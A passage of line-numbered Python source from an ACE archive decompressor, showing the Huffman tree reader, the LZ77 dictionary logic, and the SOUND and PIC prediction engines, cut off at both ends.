| max_codes = 1 << max_width 1276 | for sym, wdt in zip(reversed(sorted_symbols), reversed(sorted_widths)): 1277 | if wdt > max_width: 1278 | raise CorruptedArchiveError("wdt > max_width") 1279 | repeat = 1 << (max_width - wdt) 1280 | codes.extend([sym] * repeat) 1281 | if len(codes) > max_codes: 1282 | raise CorruptedArchiveError("len(codes) > max_codes") 1283 | 1284 | return Huffman.Tree(codes, widths, max_width) 1285 | 1286 | @staticmethod 1287 | def read_tree(bs, max_width, num_codes): 1288 | """ 1289 | Read a Huffman tree consisting of codes and their widths from 1290 | BitStream *bs*. The caller specifies the maximum width of a single 1291 | code *max_width* and the number of codes *num_codes*; these are 1292 | required to reconstruct the Huffman tree from the widths stored in 1293 | the bit stream. 1294 | """ 1295 | num_widths = bs.read_bits(9) + 1 1296 | if num_widths > num_codes + 1: 1297 | num_widths = num_codes + 1 1298 | lower_width = bs.read_bits(4) 1299 | upper_width = bs.read_bits(4) 1300 | 1301 | width_widths = [] 1302 | width_num_widths = upper_width + 1 1303 | for i in range(width_num_widths): 1304 | width_widths.append(bs.read_bits(Huffman.WIDTHWIDTHBITS)) 1305 | width_tree = Huffman._make_tree(width_widths, Huffman.MAXWIDTHWIDTH) 1306 | 1307 | widths = [] 1308 | while len(widths) < num_widths: 1309 | symbol = width_tree.read_symbol(bs) 1310 | if symbol < upper_width: 1311 | widths.append(symbol) 1312 | else: 1313 | length = bs.read_bits(4) + 4 1314 | length = min(length, num_widths - len(widths)) 1315 | widths.extend([0] * length) 1316 | 1317 | if upper_width > 0: 1318 | for i in range(1, len(widths)): 1319 | widths[i] = (widths[i] + widths[i - 1]) % upper_width 1320 | 1321 | for i in range(len(widths)): 1322 | if widths[i] > 0: 1323 | widths[i] += lower_width 1324 | 1325 | return Huffman._make_tree(widths, max_width) 1326 | 1327 | 1328 | 1329 | class LZ77: 1330 | """ 1331 | ACE 1.0 and ACE 2.0 LZ77 mode decompression engine. 1332 | 1333 | Plain LZ77 compression over a Huffman-encoded symbol stream. 1334 | """ 1335 | 1336 | class SymbolReader: 1337 | """ 1338 | Read blocks of Huffman-encoded LZ77 symbols. 1339 | Two Huffman trees are used, one for the LZ77 symbols (main codes) and 1340 | one for the length parameters (len codes). 1341 | """ 1342 | 1343 | def __init__(self): 1344 | self.__syms_to_read = 0 1345 | 1346 | def _read_trees(self, bs): 1347 | """ 1348 | Read the Huffman trees as well as the blocksize from BitStream 1349 | *bs*; essentially this starts reading into a next block of symbols. 1350 | """ 1351 | self.__main_tree = Huffman.read_tree(bs, LZ77.MAXCODEWIDTH, 1352 | LZ77.NUMMAINCODES) 1353 | self.__len_tree = Huffman.read_tree(bs, LZ77.MAXCODEWIDTH, 1354 | LZ77.NUMLENCODES) 1355 | self.__syms_to_read = bs.read_bits(15) 1356 | 1357 | def read_main_symbol(self, bs): 1358 | """ 1359 | Read a main symbol from BitStream *bs*. 1360 | """ 1361 | if self.__syms_to_read == 0: 1362 | self._read_trees(bs) 1363 | self.__syms_to_read -= 1 1364 | return self.__main_tree.read_symbol(bs) 1365 | 1366 | def read_len_symbol(self, bs): 1367 | """ 1368 | Read a length symbol from BitStream *bs*. 1369 | """ 1370 | return self.__len_tree.read_symbol(bs) 1371 | 1372 | 1373 | class DistHist: 1374 | """ 1375 | Distance value cache for storing the last SIZE used LZ77 distances. 1376 | 1377 | >>> dh = LZ77.DistHist() 1378 | >>> dh.append(1);dh.append(2);dh.append(3);dh.append(4);dh.append(5) 1379 | >>> dh.retrieve(2) 1380 | 3 1381 | >>> dh.retrieve(0) 1382 | 3 1383 | >>> dh.retrieve(1) 1384 | 5 1385 | >>> dh.retrieve(1) 1386 | 3 1387 | """ 1388 | SIZE = 4 1389 | 1390 | def __init__(self): 1391 | self.__hist = [0] * self.SIZE 1392 | 1393 | def append(self, dist): 1394 | self.__hist.pop(0) 1395 | self.__hist.append(dist) 1396 | 1397 | def retrieve(self, offset): 1398 | assert offset >= 0 and offset < self.SIZE 1399 | dist = self.__hist.pop(self.SIZE - offset - 1) 1400 | self.__hist.append(dist) 1401 | return dist 1402 | 1403 | 1404 | class Dictionary: 1405 | """ 1406 | LZ77 dictionary. Stores at least the last dictionary-size number of 1407 | decompressed bytes and supports the LZ77 copy operation. Also doubles 1408 | as decompressed bytes buffer. Consequently, the dictionary will grow 1409 | as bytes are appended to it until copyout or copyin are called. 1410 | 1411 | >>> dic = LZ77.Dictionary(4, 8) 1412 | >>> dic.append(1); dic.append(2); dic.extend((3,4)) 1413 | >>> dic.copy(4, 4) 1414 | >>> dic.copyout(8) 1415 | [1, 2, 3, 4, 1, 2, 3, 4] 1416 | >>> dic.copy(9, 1) 1417 | Traceback (most recent call last): 1418 | ... 1419 | CorruptedArchiveError 1420 | """ 1421 | def __init__(self, minsize, maxsize): 1422 | self.__dicdata = [] 1423 | self.__dicsize = minsize 1424 | self.__maxsize = maxsize 1425 | 1426 | def set_size(self, dicsize): 1427 | """ 1428 | Set expected dictionary size for next decompression run. 1429 | """ 1430 | self.__dicsize = min(max(dicsize, self.__dicsize), self.__maxsize) 1431 | 1432 | def append(self, char): 1433 | """ 1434 | Append output byte *char* to dictionary. 1435 | """ 1436 | self.__dicdata.append(char) 1437 | 1438 | def extend(self, buf): 1439 | """ 1440 | Append output bytes *buf* to dictionary. 1441 | """ 1442 | self.__dicdata.extend(buf) 1443 | 1444 | def copy(self, dist, n): 1445 | """ 1446 | Copy *n* previously produced output bytes to end of dictionary, 1447 | starting from position *dist* away from the end. 1448 | """ 1449 | source_pos = len(self.__dicdata) - dist 1450 | if source_pos < 0: 1451 | raise CorruptedArchiveError("LZ77 copy src out of bounds") 1452 | # copy needs to be byte-wise for overlapping src and dst 1453 | for i in range(source_pos, source_pos + n): 1454 | self.__dicdata.append(self.__dicdata[i]) 1455 | 1456 | def copyin(self, buf): 1457 | """ 1458 | Copy output bytes produced by other decompression methods 1459 | from *buf* into dictionary. This operation may cause the 1460 | dictionary to shrink to the indended dictionary size; make sure 1461 | to copyout all needed output bytes before calling copyin. 1462 | """ 1463 | self.extend(buf) 1464 | self._truncate() 1465 | 1466 | def copyout(self, n): 1467 | """ 1468 | Return copy of last *n* appended output bytes for handing them 1469 | to the caller. This operation may cause the dictionary to shrink 1470 | to the intended dictionary size. 1471 | """ 1472 | if n > 0: 1473 | assert n <= len(self.__dicdata) 1474 | chunk = self.__dicdata[-n:] 1475 | else: 1476 | chunk = [] 1477 | self._truncate() 1478 | return chunk 1479 | 1480 | def _truncate(self): 1481 | # only perform actual truncation when dictionary exceeds 4 times 1482 | # it's supposed size in order to prevent excessive data copying 1483 | if len(self.__dicdata) > 4 * self.__dicsize: 1484 | self.__dicdata = self.__dicdata[-self.__dicsize:] 1485 | 1486 | 1487 | # 0..255 character literals 1488 | # 256..259 copy from dictionary, dist from dist history -1..-4 1489 | # 260..282 copy from dictionary, dist 0..22 bits from bitstream 1490 | # 283 type code 1491 | MAXCODEWIDTH = 11 1492 | MAXLEN = 259 1493 | MAXDISTATLEN2 = 255 1494 | MAXDISTATLEN3 = 8191 1495 | MINDICBITS = 10 1496 | MAXDICBITS = 22 1497 | MINDICSIZE = 1 << MINDICBITS 1498 | MAXDICSIZE = 1 << MAXDICBITS 1499 | TYPECODE = 260 + MAXDICBITS + 1 1500 | NUMMAINCODES = 260 + MAXDICBITS + 2 1501 | NUMLENCODES = 256 - 1 1502 | 1503 | def __init__(self): 1504 | self.__dictionary = LZ77.Dictionary(LZ77.MINDICSIZE, LZ77.MAXDICSIZE) 1505 | 1506 | def reinit(self): 1507 | """ 1508 | Reinitialize the LZ77 decompression engine. 1509 | Reset all data dependent state to initial values. 1510 | """ 1511 | self.__symreader = LZ77.SymbolReader() 1512 | self.__disthist = LZ77.DistHist() 1513 | self.__leftover = [] 1514 | 1515 | def dic_setsize(self, dicsize): 1516 | """ 1517 | Set the required dictionary size for the next LZ77 decompression run. 1518 | """ 1519 | self.__dictionary.set_size(dicsize) 1520 | 1521 | def dic_register(self, buf): 1522 | """ 1523 | Register bytes in *buf* produced by other decompression modes into 1524 | the LZ77 dictionary. 1525 | """ 1526 | self.__dictionary.copyin(buf) 1527 | 1528 | def read(self, bs, want_size): 1529 | """ 1530 | Read a block of LZ77 compressed data from BitStream *bs*. 1531 | Reading will stop when *want_size* output bytes can be provided, 1532 | or when a block ends, i.e. when a mode instruction is found. 1533 | Returns a tuple of the output byte-like and the mode instruction. 1534 | """ 1535 | assert want_size > 0 1536 | have_size = 0 1537 | 1538 | if len(self.__leftover) > 0: 1539 | self.__dictionary.extend(self.__leftover) 1540 | have_size += len(self.__leftover) 1541 | self.__leftover = [] 1542 | 1543 | next_mode = None 1544 | while have_size < want_size: 1545 | symbol = self.__symreader.read_main_symbol(bs) 1546 | if symbol <= 255: 1547 | self.__dictionary.append(symbol) 1548 | have_size += 1 1549 | elif symbol < LZ77.TYPECODE: 1550 | if symbol <= 259: 1551 | copy_len = self.__symreader.read_len_symbol(bs) 1552 | offset = symbol & 0x03 1553 | copy_dist = self.__disthist.retrieve(offset) 1554 | if offset > 1: 1555 | copy_len += 3 1556 | else: 1557 | copy_len += 2 1558 | else: 1559 | copy_dist = bs.read_knownwidth_uint(symbol - 260) 1560 | copy_len = self.__symreader.read_len_symbol(bs) 1561 | self.__disthist.append(copy_dist) 1562 | if copy_dist <= LZ77.MAXDISTATLEN2: 1563 | copy_len += 2 1564 | elif copy_dist <= LZ77.MAXDISTATLEN3: 1565 | copy_len += 3 1566 | else: 1567 | copy_len += 4 1568 | copy_dist += 1 1569 | if have_size + copy_len > want_size: 1570 | raise CorruptedArchiveError("LZ77 copy exceeds want_size") 1571 | self.__dictionary.copy(copy_dist, copy_len) 1572 | have_size += copy_len 1573 | elif symbol == LZ77.TYPECODE: 1574 | next_mode = AceMode.read_from(bs) 1575 | break 1576 | else: 1577 | raise CorruptedArchiveError("LZ77 symbol > LZ77.TYPECODE") 1578 | 1579 | chunk = self.__dictionary.copyout(have_size) 1580 | return (chunk, next_mode) 1581 | 1582 | 1583 | 1584 | class Sound: 1585 | """ 1586 | ACE 2.0 SOUND mode decompression engine. 1587 | 1588 | Multi-channel audio predictor over Huffman-encoding, resulting in a higher 1589 | compression ratio for uncompressed mono/stereo 8/16 bit sound data. 1590 | """ 1591 | 1592 | class SymbolReader: 1593 | """ 1594 | Read blocks of Huffman-encoded SOUND symbols. 1595 | For each channel, three Huffman trees are used. 1596 | """ 1597 | 1598 | def __init__(self, num_models): 1599 | self.__trees = [None] * num_models 1600 | self.__syms_to_read = 0 1601 | 1602 | def _read_trees(self, bs): 1603 | """ 1604 | Read the Huffman trees as well as the blocksize from BitStream 1605 | *bs*; essentially this starts reading into a next block of symbols. 1606 | """ 1607 | for i in range(len(self.__trees)): 1608 | self.__trees[i] = Huffman.read_tree(bs, Sound.MAXCODEWIDTH, 1609 | Sound.NUMCODES) 1610 | self.__syms_to_read = bs.read_bits(15) 1611 | 1612 | def read_symbol(self, bs, model): 1613 | """ 1614 | Read a symbol from BitStream *bs* using the Huffman tree for model 1615 | *model*. 1616 | """ 1617 | if self.__syms_to_read == 0: 1618 | self._read_trees(bs) 1619 | self.__syms_to_read -= 1 1620 | return self.__trees[model].read_symbol(bs) 1621 | 1622 | 1623 | def classinit_sound_quantizer(cls): 1624 | """ 1625 | Decorator that adds the static quantizer table to class *cls*. 1626 | """ 1627 | cls._quantizer = [0] * 256 1628 | for i in range(1, 129): 1629 | # [-i] is equivalent to [256 - i] 1630 | cls._quantizer[-i] = cls._quantizer[i] = i.bit_length() 1631 | return cls 1632 | 1633 | @classinit_sound_quantizer 1634 | class Channel: 1635 | """ 1636 | Decompression parameters and methods for a single audio channel. 1637 | """ 1638 | def __init__(self, symreader, channel_idx): 1639 | """ 1640 | Initialize a channel with index *channel_idx*, using symbol 1641 | reader *symreader* to fetch new symbols. 1642 | """ 1643 | self.__symreader = symreader 1644 | self.__model_base_idx = 3 * channel_idx 1645 | self.__pred_dif_cnt = [0] * 2 1646 | self.__last_pred_dif_cnt = [0] * 2 1647 | self.__rar_dif_cnt = [0] * 4 1648 | self.__rar_coeff = [0] * 4 1649 | self.__rar_dif = [0] * 9 1650 | self.__byte_count = 0 1651 | self.__last_sample = 0 1652 | self.__last_delta = 0 1653 | self.__adapt_model_cnt = 0 1654 | self.__adapt_model_use = 0 1655 | self.__get_state = 0 1656 | self.__get_code = 0 1657 | 1658 | def _get_symbol(self, bs): 1659 | """ 1660 | Get next symbol from BitStream *bs*. 1661 | """ 1662 | model = self.__get_state << 1 1663 | if model == 0: 1664 | model += self.__adapt_model_use 1665 | model += self.__model_base_idx 1666 | return self.__symreader.read_symbol(bs, model) 1667 | 1668 | def get(self, bs): 1669 | """ 1670 | Get next sample, reading from BitStream *bs* if necessary. 1671 | """ 1672 | if self.__get_state != 2: 1673 | self.__get_code = self._get_symbol(bs) 1674 | if self.__get_code == Sound.TYPECODE: 1675 | return AceMode.read_from(bs) 1676 | 1677 | if self.__get_state == 0: 1678 | if self.__get_code >= Sound.RUNLENCODES: 1679 | value = self.__get_code - Sound.RUNLENCODES 1680 | self.__adapt_model_cnt = \ 1681 | (self.__adapt_model_cnt * 7 >> 3) + value 1682 | if self.__adapt_model_cnt > 40: 1683 | self.__adapt_model_use = 1 1684 | else: 1685 | self.__adapt_model_use = 0 1686 | else: 1687 | self.__get_state = 2 1688 | elif self.__get_state == 1: 1689 | value = self.__get_code 1690 | self.__get_state = 0 1691 | 1692 | if self.__get_state == 2: 1693 | if self.__get_code == 0: 1694 | self.__get_state = 1 1695 | else: 1696 | self.__get_code -= 1 1697 | value = 0 1698 | 1699 | if value & 1: 1700 | return 255 - (value >> 1) 1701 | else: 1702 | return value >> 1 1703 | 1704 | def rar_predict(self): 1705 | if self.__pred_dif_cnt[0] > self.__pred_dif_cnt[1]: 1706 | return self.__last_sample 1707 | else: 1708 | return self._get_predicted_sample() 1709 | 1710 | def rar_adjust(self, sample): 1711 | self.__byte_count += 1 1712 | pred_sample = self._get_predicted_sample() 1713 | pred_dif = c_schar(pred_sample - sample) << 3 1714 | self.__rar_dif[0] += abs(pred_dif - self.__rar_dif_cnt[0]) 1715 | self.__rar_dif[1] += abs(pred_dif + self.__rar_dif_cnt[0]) 1716 | self.__rar_dif[2] += abs(pred_dif - self.__rar_dif_cnt[1]) 1717 | self.__rar_dif[3] += abs(pred_dif + self.__rar_dif_cnt[1]) 1718 | self.__rar_dif[4] += abs(pred_dif - self.__rar_dif_cnt[2]) 1719 | self.__rar_dif[5] += abs(pred_dif + self.__rar_dif_cnt[2]) 1720 | self.__rar_dif[6] += abs(pred_dif - self.__rar_dif_cnt[3]) 1721 | self.__rar_dif[7] += abs(pred_dif + self.__rar_dif_cnt[3]) 1722 | self.__rar_dif[8] += abs(pred_dif) 1723 | 1724 | self.__last_delta = c_schar(sample - self.__last_sample) 1725 | self.__pred_dif_cnt[0] += self._quantizer[pred_dif >> 3] 1726 | self.__pred_dif_cnt[1] += self._quantizer[self.__last_sample-sample] 1727 | self.__last_sample = sample 1728 | 1729 | if self.__byte_count & 0x1F == 0: 1730 | min_dif = 0xFFFF 1731 | for i in reversed(range(9)): 1732 | if self.__rar_dif[i] <= min_dif: 1733 | min_dif = self.__rar_dif[i] 1734 | min_dif_pos = i 1735 | self.__rar_dif[i] = 0 1736 | if min_dif_pos != 8: 1737 | i = min_dif_pos >> 1 1738 | if min_dif_pos & 1 == 0: 1739 | if self.__rar_coeff[i] >= -16: 1740 | self.__rar_coeff[i] -= 1 1741 | else: 1742 | if self.__rar_coeff[i] <= 16: 1743 | self.__rar_coeff[i] += 1 1744 | if self.__byte_count & 0xFF == 0: 1745 | for i in range(2): 1746 | self.__pred_dif_cnt[i] -= self.__last_pred_dif_cnt[i] 1747 | self.__last_pred_dif_cnt[i] = self.__pred_dif_cnt[i] 1748 | 1749 | self.__rar_dif_cnt[3] = self.__rar_dif_cnt[2] 1750 | self.__rar_dif_cnt[2] = self.__rar_dif_cnt[1] 1751 | self.__rar_dif_cnt[1] = self.__last_delta - self.__rar_dif_cnt[0] 1752 | self.__rar_dif_cnt[0] = self.__last_delta 1753 | 1754 | def _get_predicted_sample(self): 1755 | return c_uchar((8 * self.__last_sample + \ 1756 | self.__rar_coeff[0] * self.__rar_dif_cnt[0] + \ 1757 | self.__rar_coeff[1] * self.__rar_dif_cnt[1] + \ 1758 | self.__rar_coeff[2] * self.__rar_dif_cnt[2] + \ 1759 | self.__rar_coeff[3] * self.__rar_dif_cnt[3]) >> 3) 1760 | 1761 | 1762 | RUNLENCODES = 32 1763 | TYPECODE = 256 + RUNLENCODES 1764 | NUMCODES = 256 + RUNLENCODES + 1 1765 | MAXCODEWIDTH = 10 1766 | NUMCHANNELS = (1, 2, 3, 3) 1767 | USECHANNELS = ((0, 0, 0, 0), 1768 | (0, 1, 0, 1), 1769 | (0, 1, 0, 2), 1770 | (1, 0, 2, 0)) 1771 | 1772 | def __init__(self): 1773 | self.__mode = None 1774 | self.__channels = None 1775 | 1776 | def reinit(self, mode): 1777 | """ 1778 | Reinitialize the SOUND decompression engine. 1779 | Reset all data dependent state to initial values. 1780 | """ 1781 | self.__mode = mode - ACE.MODE_SOUND_8 1782 | num_channels = Sound.NUMCHANNELS[self.__mode] 1783 | num_models = num_channels * 3 1784 | sr = Sound.SymbolReader(num_models) 1785 | self.__channels = [self.Channel(sr, i) for i in range(num_channels)] 1786 | 1787 | def read(self, bs, want_size): 1788 | """ 1789 | Read a block of SOUND compressed data from BitStream *bs*. 1790 | Reading will stop when *want_size* output bytes can be provided, 1791 | or when a block ends, i.e. when a mode instruction is found. 1792 | Returns a tuple of the output byte-like and the mode instruction. 1793 | """ 1794 | assert want_size > 0 1795 | chunk = [] 1796 | next_mode = None 1797 | for i in range(want_size & 0xFFFFFFFC): 1798 | channel = Sound.USECHANNELS[self.__mode][i % 4] 1799 | value = self.__channels[channel].get(bs) 1800 | if isinstance(value, AceMode): 1801 | next_mode = value 1802 | break 1803 | sample = c_uchar(value + self.__channels[channel].rar_predict()) 1804 | chunk.append(sample) 1805 | self.__channels[channel].rar_adjust(c_schar(sample)) 1806 | return (chunk, next_mode) 1807 | 1808 | 1809 | 1810 | class Pic: 1811 | """ 1812 | ACE 2.0 PIC mode decompression engine. 1813 | 1814 | Two-dimensional pixel value predictor over Huffman encoding, resulting in a 1815 | higher compression ratio for uncompressed picture data. 1816 | """ 1817 | 1818 | class ErrContext: 1819 | """ 1820 | A prediction error context. 1821 | """ 1822 | def __init__(self): 1823 | self.used_counter = 0 1824 | self.predictor_number = 0 1825 | self.average_counter = 4 1826 | self.error_counters = [0] * 4 1827 | 1828 | 1829 | class ErrModel: 1830 | """ 1831 | A prediction error model comprising of N error contexts. 1832 | """ 1833 | N = 365 1834 | 1835 | def __init__(self): 1836 | self.contexts = [Pic.ErrContext() for _ in range(Pic.ErrModel.N)] 1837 | 1838 | 1839 | def classinit_pic_dif_bit_width(cls): 1840 | """ 1841 | Decorator that adds the PIC dif_bit_width static table to *cls*. 1842 | """ 1843 | cls._dif_bit_width = [] 1844 | for i in range(0, 128): 1845 | cls._dif_bit_width.append((2 * i).bit_length()) 1846 | for i in range(-128, 0): 1847 | cls._dif_bit_width.append((- 2 * i - 1).bit_length()) 1848 | return cls 1849 | 1850 | def classinit_pic_quantizers(cls): 1851 | """ 1852 | Decorator that adds the PIC quantizer static tables to *cls*. 1853 | """ 1854 | cls._quantizer = [] 1855 | cls._quantizer9 = [] 1856 | cls._quantizer81 = [] 1857 | for i in range(-255, -20): 1858 | cls._quantizer.append(-4) 1859 | for i in range(-20, -6): 1860 | cls._quantizer.append(-3) 1861 | for i in range(-6, -2): 1862 | cls._quantizer.append(-2) 1863 | for i in range(-2, 0): 1864 | cls._quantizer.append(-1) 1865 | cls._quantizer.append(0) 1866 | for i in range(1, 3): 1867 | cls._quantizer.append(1) 1868 | for i in range(3, 7): 1869 | cls._quantizer.append(2) 1870 | for i in range(7, 21): 1871 | cls._quantizer.append(3) 1872 | for i in range(21, 256): 1873 | cls._quantizer.append(4) 1874 | for q in cls._quantizer: 1875 | cls._quantizer9.append(9 * q) 1876 | cls._quantizer81.append(81 * q) 1877 | return cls 1878 | 1879 | @classinit_pic_dif_bit_width 1880 | @classinit_pic_quantizers 1881 | class PixelDecoder: 1882 | _producers = [] 1883 | 1884 | @classmethod 1885 | def register(cls, othercls): 1886 | cls._producers.append(othercls) 1887 | return othercls 1888 | 1889 | @classmethod 1890 | def read_from(cls, bs): 1891 | """ 1892 | Read a pixel decoder identifier from BitStream *bs* and return 1893 | the appropriate PixelDecoder instance. 1894 | """ 1895 | try: 1896 | return cls._producers[bs.read_bits(2)]() 1897 | except IndexError: 1898 | raise CorruptedArchiveError("Unknown producer requested") 1899 | 1900 | def shift_pixels(self): 1901 | """ 1902 | Shift pixels to the left to prepare for the next column. 1903 | 1904 | C A D 1905 | B X 1906 | """ 1907 | self._pixel_c = self._pixel_a 1908 | self._pixel_a = self._pixel_d 1909 | self._pixel_b = self._pixel_x 1910 | 1911 | def get_context(self): 1912 | """ 1913 | Calculate the error context to use based on the differences 1914 | between the neighbouring pixels D-A, A-C and C-B: 1915 | 1916 | C A D 1917 | B X 1918 | """ 1919 | ctx = self._quantizer81[255 + self._pixel_d - self._pixel_a] + \ 1920 | self._quantizer9 [255 + self._pixel_a - self._pixel_c] + \ 1921 | self._quantizer [255 + self._pixel_c - self._pixel_b] 1922 | return abs(ctx) 1923 | 1924 | def _predict(self, use_predictor): 1925 | """ 1926 | With X being the current position, the predictors use the pixels 1927 | above (A), to the left (B) and in the corner (C): 1928 | 1929 | C A D 1930 | B X 1931 | """ 1932 | if use_predictor == 0: 1933 | return self._pixel_a 1934 | elif use_predictor == 1: 1935 | return self._pixel_b 1936 | elif use_predictor == 2: 1937 | return (self._pixel_a + self._pixel_b) >> 1 1938 | elif use_predictor == 3: 1939 | return c_uchar(self._pixel_a + self._pixel_b - self._pixel_c) 1940 | 1941 | def update_pixel_x(self, bs, context): 1942 | """ 1943 | Read the next data point from BitStream *bs* and store the 1944 | resulting pixel X based on ErrContext *context*. 1945 | """ 1946 | context.used_counter += 1 1947 | r = c_div(context.average_counter, context.used_counter) 1948 | epsilon = bs.read_golomb_rice(r.bit_length(), signed=True) 1949 | predicted = self._predict(context.predictor_number) 1950 | self._pixel_x = c_uchar(predicted + epsilon) 1951 | 1952 | context.average_counter += abs(epsilon) 1953 | if context.used_counter == 128: 1954 | context.used_counter >>= 1 1955 | context.average_counter >>= 1 1956 | 1957 | for i in range(len(context.error_counters)): 1958 | context.error_counters[i] += \ 1959 | self._dif_bit_width[self._pixel_x - self._predict(i)] 1960 | if i == 0 or context.error_counters[i] < \ 1961 | context.error_counters[best_predictor]: 1962 | best_predictor = i 1963 | context.predictor_number = best_predictor 1964 | 1965 | if any([ec > 0x7F for ec in context.error_counters]): 1966 | for i in range(len(context.error_counters)): 1967 | context.error_counters[i] >>= 1 1968 | 1969 | @PixelDecoder.register 1970 | class PixelDecoder0(PixelDecoder): 1971 | def __init__(self): 1972 | self._pixel_a = 0 1973 | self._pixel_b = 0 1974 | self._pixel_c = 0 1975 | self._pixel_x = 0 1976 | 1977 | def update_pixel_d(self, thisplane_d, refplane_d): 1978 | self._pixel_d = thisplane_d 1979 | 1980 | def produce(self, refplane_x): 1981 | return self._pixel_x 1982 | 1983 | class DifferentialPixelDecoder(PixelDecoder): 1984 | def __init__(self): 1985 | self._pixel_a = 128 1986 | self._pixel_b = 128 1987 | self._pixel_c = 128 1988 | self._pixel_x = 128 1989 | 1990 | @PixelDecoder.register 1991 | class PixelDecoder1(DifferentialPixelDecoder): 1992 | def update_pixel_d(self, thisplane_d, refplane_d): 1993 | self._pixel_d = c_uchar(128 + thisplane_d - refplane_d) 1994 | 1995 | def produce(self, refplane_x): 1996 | return c_uchar(self._pixel_x + refplane_x - 128) 1997 | 1998 | @PixelDecoder.register 1999 | class PixelDecoder2(DifferentialPixelDecoder): 2000 | def update_pixel_d(self, thisplane_d, refplane_d): 2001 | self._pixel_d = c_uchar(128 + thisplane_d - (refplane_d * 11 >> 4)) 2002 | 2003 | def produce(self, refplane_x): 2004 | return c_uchar(self._pixel_x + (refplane_x * 11 >> 4) - 128) 2005 | 2006 | 2007 | def __init__(self): 2008 | pass 2009 | 2010 | def reinit(self, bs): 2011 | """ 2012 | Reinitialize the PIC decompression engine. 2013 | Read width and planes from BitStream *bs* and reset all data dependent 2014 | state to initial values. 2015 | Note that width does not need to be a multiple of planes. 2016 | """ 2017 | self.__width = bs.read_golomb_rice(12) 2018 | self.__planes = bs.read_golomb_rice(2) 2019 | self.__errmodel_plane0 = self.ErrModel() 2020 | self.__errmodel_plane1toN = self.ErrModel() 2021 | self.__prevrow = [0] * (self.__width + self.__planes) 2022 | self.__leftover = [] 2023 | 2024 | def _row(self, bs): 2025 | """ 2026 | Decompress a row of pixels. 2027 | """ 2028 | # NOTE 2029 | # Some indices into row and self.__prevrow are outside of the 2030 | # expected range 0..width, as indicated below. Additionally, when 2031 | # processing the first row, self.__prevrow is all zeroes. 2032 | # Furthermore, self.__width is not necessarily a multiple of 2033 | # self.__planes. 2034 | row = [0] * (self.__width + self.__planes) 2035 | for plane in range(self.__planes): 2036 | if plane == 0: 2037 | errmodel = self.__errmodel_plane0 2038 | decoder = Pic.PixelDecoder0() 2039 | else: 2040 | errmodel = self.__errmodel_plane1toN 2041 | decoder = Pic.PixelDecoder.read_from(bs) 2042 | # plane-1 is -1 for first plane 2043 | decoder.update_pixel_d(self.__prevrow[plane], 2044 | self.__prevrow[plane - 1]) 2045 | 2046 | for col in range(plane, self.__width, self.__planes): 2047 | decoder.shift_pixels() 2048 | # col+self.__planes is > width for last col in plane 2049 | decoder.update_pixel_d(self.__prevrow[col + self.__planes], 2050 | self.__prevrow[col + self.__planes - 1]) 2051 | context = errmodel.contexts[decoder.get_context()] 2052 | decoder.update_pixel_x(bs, context) 2053 | # col-1 is -1 for first col in first plane 2054 | row[col] = decoder.produce(row[col - 1]) 2055 | 2056 | self.__prevrow = row 2057 | return row[:self.__width] 2058 | 2059 | def read(self, bs, want_size): 2060 | """ 2061 | Read a block of PIC compressed data from BitStream *bs*. 2062 | Reading will stop when *want_size* output bytes can be provided, 2063 | or when a block ends, i.e. when a mode instruction is found. 2064 | Returns a tuple of the output byte-like and the mode instruction. 2065 | """ 2066 | assert want_size > 0 2067 | chunk = [] 2068 | next_mode = None 2069 | if len(self.__leftover) > 0: 2070 | chunk.extend(self.__leftover) 2071 | self.__leftover = [] 2072 | while len(chunk) < want_size: 2073 | if bs.read_bits(1) == 0: 2074 | next_mode = AceMode.read_from(bs) 2075 | break 2076 | data = self._row(bs) 2077 | n = min(want_size - len(chunk), len(data)) 2078 | if n == len(data): 2079 | chunk.extend(data) 2080 | else: 2081 | chunk.extend(data[0:n]) 2082 | self.__leftover = data[n:] 2083 | return (chunk, next_mode) 2084 | 2085 | 2086 | 2087 | class ACE: 2088 | """ 2089 | Core decompression engine for ACE compression up to version 2.0. 2090 | """ 2091 | MODE_LZ77 = 0 # LZ77 2092 | MODE_LZ77_DELTA = 1 # LZ77 after byte reordering 2093 | MODE_LZ77_EXE = 2 # LZ77 after patching JMP/CALL targets 2094 | MODE_SOUND_8 = 3 # 8 bit sound compression 2095 | MODE_SOUND_16 = 4 # 16 bit sound compression 2096 | MODE_SOUND_32A = 5 # 32 bit sound compression, variant 1 2097 | MODE_SOUND_32B = 6 # 32 bit sound compression, variant 2 2098 | MODE_PIC = 7 # picture compression 2099 | MODE_STRINGS = ('LZ77', 'LZ77_DELTA', 'LZ77_EXE', 2100 | 'SOUND_8', 'SOUND_16', 'SOUND_32A', 'SOUND_32B', 2101 | 'PIC') 2102 | 2103 | @staticmethod 2104 | def mode_str(mode): 2105 | try: 2106 | return ACE.MODE_STRINGS[mode] 2107 | except IndexError: 2108 | return '?' 2109 | 2110 | @staticmethod 2111 | def decompress_comment(buf): 2112 | """ 2113 | Decompress an ACE MAIN or FILE comment from bytes *buf* and return the 2114 | decompressed bytes. 2115 | """ 2116 | bs = BitStream(io.BytesIO(buf)) 2117 | want_size = bs.read_bits(15) 2118 | huff_tree = Huffman.read_tree(bs, LZ77.MAXCODEWIDTH, LZ77.NUMMAINCODES) 2119 | comment = [] 2120 | htab = [0] * 511 2121 | while len(comment) < want_size: 2122 | if len(comment) > 1: 2123 | hval = comment[-1] + comment[-2] 2124 | source_pos = htab[hval] 2125 | htab[hval] = len(comment) 2126 | else: 2127 | source_pos = 0 2128 | code = huff_tree.read_symbol(bs) 2129 | if code < 256: 2130 | comment.append(code) 2131 | else: 2132 | for i in range(code - 256 + 2): 2133 | comment.append(comment[source_pos + i]) 2134 | return bytes(comment) 2135 | 2136 | def __init__(self): 2137 | self.__lz77 = LZ77() 2138 | self.__sound = Sound() 2139 | self.__pic = Pic() 2140 | 2141 | def decompress_stored(self, f, filesize, dicsize): 2142 | """ 2143 | Decompress data compressed using the store method from file-like-object 2144 | *f* containing compressed bytes that will be decompressed to *filesize* 2145 | bytes. Decompressed data will be yielded in blocks of undefined size 2146 | upon availability. Empty files will return without yielding anything. 2147 | """ 2148 | self.__lz77.dic_setsize(dicsize) 2149 | producedsize = 0 2150 | while producedsize < filesize: 2151 | wantsize = min(filesize - producedsize, FILE_BLOCKSIZE) 2152 | outchunk = f.read(wantsize) 2153 | if len(outchunk) == 0: 2154 | raise CorruptedArchiveError("Truncated stored file") 2155 | self.__lz77.dic_register(outchunk) 2156 | yield outchunk 2157 | producedsize += len(outchunk) 2158 | 2159 | def decompress_lz77(self, f, filesize, dicsize): 2160 | """ 2161 | Decompress data compressed using the ACE 1.0 legacy LZ77 method from 2162 | 